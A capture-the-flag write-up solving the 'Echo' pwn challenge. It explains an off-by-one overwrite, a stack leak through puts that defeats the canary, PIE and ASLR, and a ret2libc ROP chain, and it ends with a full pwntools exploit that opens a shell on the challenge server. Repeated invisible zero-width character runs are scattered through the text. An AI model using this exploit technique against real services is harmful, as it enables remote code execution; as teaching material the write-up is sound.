← Back to Writeups
CUSTOMMediumpwn

Echo

XESXOR9/2/20267 min read
#pwn#custom#medium#canary_bypass_via_leak#off_by_one_maxlen_overwrite#progressive_stack_leak#puts_no_null_terminator_leak#ret2libc_rop#linux

Echo

Platform: srdnlen | Category: pwn | Type: Challenge | Difficulty: Medium | OS: Linux | Author: XESXOR | Date: 2026-02-28 | Status: Solved Techniques: canary_bypass_via_leak, off_by_one_maxlen_overwrite, progressive_stack_leak, puts_no_null_terminator_leak, ret2libc_rop

Summary

Task: Echo server with off-by-one vulnerability in read loop. Solution: Overwrite maxlen to expand buffer, progressive stack leak via puts without null terminator, bypass canary and PIE via leaks, ret2libc ROP chain.

Echo — srdnlen CTF

Description

Echo is one of the most famous and simple programs on any system. Nothing can go wrong if I re-implement it, right?

Category: PWN Difficulty: Medium Remote: nc echo.challs.srdnlen.it 1091

Analysis

Binary Information

ELF 64-bit LSB PIE executable, x86-64, dynamically linked
Compiled with GCC 13.3.0 (Ubuntu 24.04)

Protections

ProtectionStatus
PIEEnabled
Stack CanaryEnabled
NXEnabled
RELROFull RELRO
‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Program Logic

The binary implements a simple echo server with an infinite loop:

c
void echo() {
    char buf[64];           // offset 0x00 - 0x3F
    unsigned char maxlen;   // offset 0x40 (1 byte, initialized to 0x40)
    // padding 7 bytes       // offset 0x41 - 0x47
    // stack canary           // offset 0x48 - 0x4F
    // saved RBP              // offset 0x50 - 0x57
    // return address         // offset 0x58 - 0x5F

    while (1) {
        printf("echo ");
        read_stdin(buf, maxlen);
        if (buf[0] == '\0') break;  // empty line exits
        puts(buf);
    }
}

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Vulnerability: Off-by-one in read_stdin

The read_stdin function uses while (i <= maxlen) instead of while (i < maxlen), allowing it to read maxlen + 1 bytes. With maxlen = 0x40 (64), the 65th byte is written to buf[64] — which is the maxlen variable itself.

Key point: read_stdin terminates when i > maxlen without adding a null terminator. This means puts(buf) will continue printing data beyond the buffer until the first null byte — a stack leak.

Stack Layout

buf[0x00..0x3F]  — 64 bytes buffer
buf[0x40]        — maxlen (1 byte)
buf[0x41..0x47]  — padding (7 bytes)
buf[0x48..0x4F]  — stack canary (8 bytes, LSB = 0x00)
buf[0x50..0x57]  — saved RBP (8 bytes)
buf[0x58..0x5F]  — return address in echo (PIE)
buf[0x60..0x67]  — ...
buf[0x68..0x6F]  — ...
buf[0x70..0x77]  — ...
buf[0x78..0x7F]  — return address in main → libc (__libc_start_call_main+0x7a)

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Solution

The exploitation consists of 5 phases, all within a single connection thanks to the infinite loop.

Phase 1: Expanding maxlen

Send 65 bytes: 64 bytes of filler + 0x48. The off-by-one overwrites maxlen from 0x40 to 0x48, expanding the allowed read size to 73 bytes.

python
do_round(b"A" * 0x40 + b"\x48")
# maxlen is now 0x48

Phase 2: Progressive Stack Leak

Send exactly maxlen + 1 bytes of filler (without newline). read_stdin terminates without a null terminator, and puts prints everything until the first \x00 on the stack. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Problem: the canary starts with \x00 (LSB), and addresses may contain null bytes. Solution — progressive leak:

  1. Fill the buffer up to position leak_pos with 0x42 bytes
  2. puts prints all 0x42 bytes + original stack bytes until the next \x00
  3. If the response is longer than what was sent — we got a leak
  4. If the response equals what was sent — the next byte is \x00, remember it and move on
  5. Gradually increase maxlen to access deeper stack regions
python
# Example: leaking canary[1..7] (canary[0] = 0x00 — known)
# Fill 0x49 bytes → puts prints 0x49 + canary[1..7] until next \x00

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Leak results:

  • Stack canary (8 bytes)
  • Saved RBP (8 bytes)
  • PIE return address → calculate PIE base (ret_addr - 0x1342)
  • Libc return address (__libc_start_call_main + 0x7a = offset 0x2A1CA)

Phase 3: Libc Identification

From the GCC version string in the binary (GCC 13.3.0) we determine Ubuntu 24.04. Build a Docker container, extract libc and find the required offsets:

python
# Ubuntu 24.04 libc6 2.39-0ubuntu8.x, x86_64
SYSTEM_OFF  = 0x58750
BINSH_OFF   = 0x1CB42F
POP_RDI_OFF = 0x10F78B
RET_OFF     = 0x2882F

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Libc base is calculated as: libc_ret - 0x2A1CA.

Phase 4: Building the ROP Chain

Set maxlen = 0x77 to write 0x78 bytes (covers return address + ROP chain):

python
rop_chain = p64(ret_gadget) + p64(pop_rdi) + p64(binsh_addr) + p64(system_addr)

payload = bytearray()
payload += b"\x42" * 0x40      # buf[0..63] — filler
payload += bytes([0x00])        # maxlen = 0x00 (so next read reads only 1 byte)
payload += b"\x42" * 7          # padding
payload += p64(canary_val)      # correct canary!
payload += p64(saved_rbp)       # saved RBP
payload += rop_chain            # ret → pop rdi → "/bin/sh" → system

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Important: check the payload for \x0a (newline) — read_stdin stops on \n. If \x0a is present in addresses (ASLR), restart with a new connection.

Phase 5: Triggering ROP

After sending the payload, maxlen became 0x00, so the next read_stdin reads only 1 byte. Send \n — buf[0] = 0x00 → exit loop → canary check (passes!) → ret → ROP chain → shell!

python
p.send(bytes(payload))
p.recvuntil(b"echo ")
p.send(b"\n")          # exit loop → ROP triggers
# Shell!

Full Exploit

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

python
#!/usr/bin/env python3
from pwn import *
import time
import sys

context.arch = "amd64"
context.log_level = "info"

LOCAL = "--local" in sys.argv
if LOCAL:
    HOST, PORT = "localhost", 11091
else:
    HOST, PORT = "echo.challs.srdnlen.it", 1091

# Libc offsets (Ubuntu 24.04 libc6 2.39-0ubuntu8.x, x86_64)
SYSTEM_OFF = 0x58750
BINSH_OFF = 0x1CB42F
POP_RDI_OFF = 0x10F78B
RET_OFF = 0x2882F


def exploit():
    for attempt in range(50):
        try:
            log.info(f"=== Attempt {attempt + 1} ===")
            return try_exploit()
        except Exception as e:
            log.warning(f"Attempt {attempt + 1} failed: {e}")
            continue
    log.error("All attempts failed")
‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍


def try_exploit():
    p = remote(HOST, PORT)

    def do_round(data):
        p.send(data)
        raw = p.recvuntil(b"echo ", timeout=10)
        if not raw:
            raise Exception("No response / timeout")
        raw = raw[:-5]  # remove "echo "
        if raw.endswith(b"\n"):
            raw = raw[:-1]
        return raw

    p.recvuntil(b"echo ")

    # Phase 1: Set maxlen to 0x48
    do_round(b"A" * 0x40 + b"\x48")
    current_maxlen = 0x48

    # Phase 2: Progressive leak of stack bytes 0x49 - 0x7F
    stack = bytearray(0x80)
    stack[0x48] = 0x00  # canary LSB always 0x00
    leak_pos = 0x49
‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

    while leak_pos <= 0x7F:
        if current_maxlen < leak_pos - 1:
            needed = leak_pos - 1
            pl = bytearray(b"\x42" * (current_maxlen + 1))
            pl[0x40] = needed
            do_round(bytes(pl))
            current_maxlen = needed

        pl = bytearray(b"\x42" * leak_pos)
        pl[0x40] = current_maxlen
        resp = do_round(bytes(pl))

        if len(resp) == leak_pos:
            stack[leak_pos] = 0x00
            leak_pos += 1
        elif len(resp) > leak_pos:
            leaked = resp[leak_pos:]
            for j, b in enumerate(leaked):
                pos = leak_pos + j
                if pos < 0x80:
                    stack[pos] = b
            null_pos = leak_pos + len(leaked)
            if null_pos < 0x80:
                stack[null_pos] = 0x00
            leak_pos = null_pos + 1
        else:
            break
‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

    # Phase 3: Parse leaked values
    canary_val = u64(bytes(stack[0x48:0x50]))
    saved_rbp = u64(bytes(stack[0x50:0x58]))
    ret_addr = u64(bytes(stack[0x58:0x60]))
    pie_base = ret_addr - 0x1342
    libc_ret = u64(bytes(stack[0x78:0x80]))

    log.success(f"Canary:    {hex(canary_val)}")
    log.success(f"PIE base:  {hex(pie_base)}")
    log.success(f"Libc ret:  {hex(libc_ret)}")

    assert canary_val & 0xFF == 0
    assert pie_base & 0xFFF == 0

    # Calculate libc base
    known_offsets = [0x2A1CA, 0x29D90, 0x29D10]
    libc_base = None
    for off in known_offsets:
        candidate = libc_ret - off
        if candidate & 0xFFF == 0:
            libc_base = candidate
            break
    if libc_base is None:
        raise Exception(f"Unknown libc ret offset")
‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

    system_addr = libc_base + SYSTEM_OFF
    binsh_addr = libc_base + BINSH_OFF
    pop_rdi = libc_base + POP_RDI_OFF
    ret_gadget = libc_base + RET_OFF

    # Phase 4: Build ROP payload
    rop_chain = p64(ret_gadget) + p64(pop_rdi) + p64(binsh_addr) + p64(system_addr)

    payload = bytearray()
    payload += b"\x42" * 0x40
    payload += bytes([0x00])
    payload += b"\x42" * 7
    payload += p64(canary_val)
    payload += p64(saved_rbp)
    payload += rop_chain

    # Check for \x0a in payload (breaks read_stdin)
    if any(b == 0x0A for b in payload):
        p.close()
        raise Exception("\\x0a in payload — retry with different ASLR")
‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

    # Set maxlen to 0x77
    needed_maxlen = 0x77
    if current_maxlen != needed_maxlen:
        pl = bytearray(b"\x42" * (current_maxlen + 1))
        pl[0x40] = needed_maxlen
        do_round(bytes(pl))

    # Phase 5: Send payload and trigger ROP
    p.send(bytes(payload))
    p.recvuntil(b"echo ", timeout=10)
    p.send(b"\n")  # exit loop → canary check passes → ROP!

    time.sleep(1)
    p.sendline(b"cat /flag*")
    p.interactive()


exploit()

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍